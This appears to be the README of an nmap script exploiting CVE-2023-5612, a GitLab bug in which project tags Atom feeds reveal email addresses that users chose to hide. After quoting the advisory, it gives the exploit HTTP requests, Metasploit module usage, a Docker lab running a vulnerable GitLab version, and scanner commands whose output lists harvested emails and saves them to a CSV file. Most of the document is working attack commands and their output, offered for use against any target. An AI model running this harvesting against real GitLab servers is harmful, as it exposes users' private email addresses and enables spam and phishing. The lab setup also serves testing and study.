An issue has been discovered in GitLab affecting all versions before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. It was possible to read the user email address via tags feed although the visibility in the user profile has been disabled. This is a medium severity issue (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, 5.3). It is now mitigated in the latest release and is assigned CVE-2023-5612.

An issue has been discovered in GitLab affecting all versions before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. It was possible to read the user email address via tags feed although the visibility in the user profile has been disabled.

...
    <name>test</name>
    <email>[email protected]</email>
...

GET /api/v4/projects?output_mode=json HTTP/1.1

[{"id":3,"description":null,"name":"project3","name_with_namespace":"test / project3","path":"project3","path_with_namespace":"test/project3","created_at":"2025-09-13T16:39:05.885Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/test/project3.git","http_url_to_repo":"http://localhost:8929/test/project3.git","web_url":"http://localhost:8929/test/project3","readme_url":"http://localhost:8929/test/project3/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:39:05.885Z","namespace":{"id":4,"name":"test","path":"test","kind":"user","full_path":"test","parent_id":null,"avatar_url":"https://www.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?s=80\u0026d=identicon","web_url":"http://localhost:8929/test"}},{"id":2,"description":null,"name":"project2","name_with_namespace":"testgroup / project2","path":"project2","path_with_namespace":"testgroup/project2","created_at":"2025-09-13T16:35:26.979Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/testgroup/project2.git","http_url_to_repo":"http://localhost:8929/testgroup/project2.git","web_url":"http://localhost:8929/testgroup/project2","readme_url":"http://localhost:8929/testgroup/project2/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:35:26.979Z","namespace":{"id":3,"name":"testgroup","path":"testgroup","kind":"group","full_path":"testgroup","parent_id":null,"avatar_url":null,"web_url":"http://localhost:8929/groups/testgroup"}},{"id":1,"description":null,"name":"test","name_with_namespace":"Administrator / test","path":"test","path_with_namespace":"root/test","created_at":"2025-09-12T15:03:47.319Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/root/test.git","http_url_to_repo":"http://localhost:8929/root/test.git","web_url":"http://localhost:8929/root/test","readme_url":"http://localhost:8929/root/test/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:19:10.901Z","namespace":{"id":1,"name":"Administrator","path":"root","kind":"user","full_path":"root","parent_id":null,"avatar_url":"https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80\u0026d=identicon","web_url":"http://localhost:8929/root"}}]

GET /test/project3/-/tags?format=atom HTTP/1.1
GET /root/test/-/tags?format=atom HTTP/1.1

<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
<title>project3 tags</title>
<link href="http://127.0.0.1:8929/test/project3/-/tags?format=atom" rel="self" type="application/atom+xml"/>
<link href="http://127.0.0.1:8929/test/project3/-/tags" rel="alternate" type="text/html"/>
<id>http://127.0.0.1:8929/test/project3/-/tags</id>
<entry>
  <id>http://127.0.0.1:8929/test/project3/-/tags/1.0.0</id>
  <link href="http://127.0.0.1:8929/test/project3/-/tags/1.0.0"/>
  <title>1.0.0</title>
  <summary></summary>
  <content type="html"></content>
  <media:thumbnail width="40" height="40" url="https://www.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?s=80&amp;d=identicon"/>
  <author>
    <name>test</name>
    <email>[email protected]</email>
  </author>
</entry>
</feed>

# Metasploit
use auxiliary/gather/gitlab_tags_rss_feed_email_disclosure
set RHOSTS 127.0.0.1
set RPORT 8929
run

auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > run
[*] Running module against 127.0.0.1
[+] Scraping ALL projects...
[+] name: test
[+] e-mail: [email protected]
[+] name: Administrator
[+] e-mail: [email protected]
[*] Auxiliary module execution completed

services:
  gitlab:
    image: gitlab/gitlab-ce:16.5.10-ce.0
    container_name: gitlab-ce
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://localhost:8929'
        gitlab_rails['gitlab_shell_ssh_port'] = 2424
    ports:
      - '8929:8929'
      - '443:443'
      - '2424:22'
    volumes:
      - '$GITLAB_HOME/config:/etc/gitlab'
      - '$GITLAB_HOME/logs:/var/log/gitlab'
      - '$GITLAB_HOME/data:/var/opt/gitlab'
    shm_size: '256m'

sudo docker compose up
sudo docker exec -it {CONTAINER_ID} grep 'Password:' /etc/gitlab/initial_root_password
# Do not decode the showed base64 value, just use it as is
# Change root's creds to smth like root:toortoor

# full scan
nmap --script cve-2023-5612 <TARGET> -p <PORT>
nmap --script cve-2023-5612 <TARGET> -p <PORT> --script-args check_mode=full
# fast scan
nmap --script cve-2023-5612 <TARGET> -p <PORT> --script-args check_mode=fast

nmap -Pn --script cve-2023-5612 localhost -p 8929 --script-args check_mode=full
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 16:39 MSK
####### CVE-2023-5612 #######
[+] Checking target...
[+] Checking for vulnerability...
[+] Projects found:
        http://localhost:8929/test/project3
        http://localhost:8929/testgroup/project2
        http://localhost:8929/root/test
[+] Results:
        email,username,project_url
        [email protected],test,http://localhost:8929/test/project3
        [email protected],Administrator,http://localhost:8929/testgroup/project2
        [email protected],Administrator,http://localhost:8929/root/test
[+] Writing results to ./gitlab_enumerated.csv...
[+] Done
#############################

Nmap scan report for localhost (127.0.0.1)
Host is up (0.00013s latency).
Other addresses for localhost (not scanned): ::1

PORT     STATE SERVICE
8929/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 1.64 seconds
# view saved results, show only emails
tail -n +2 gitlab_enumerated.csv | cut -d "," -f 1| sort -u
[email protected]
[email protected]

nmap --script cve-2023-5612 localhost -p 1337
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 06:35 MSK
####### CVE-2023-5612 #######
[+] Checking target...
[-] Error: The target is not a GitLab instance. Exiting...
#############################
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00012s latency).
Other addresses for localhost (not scanned): ::1

PORT     STATE SERVICE
1337/tcp open  waste

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds

nmap -Pn -p 7180 --script cve-2023-5612 <IP-addr> --script-args check_mode=fast
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 16:37 MSK
####### CVE-2023-5612 #######
[+] Checking target...
[+] Checking for vulnerability...
[-] Projects list seems to be empty or unavailable
[-] Target is NOT vulnerable
#############################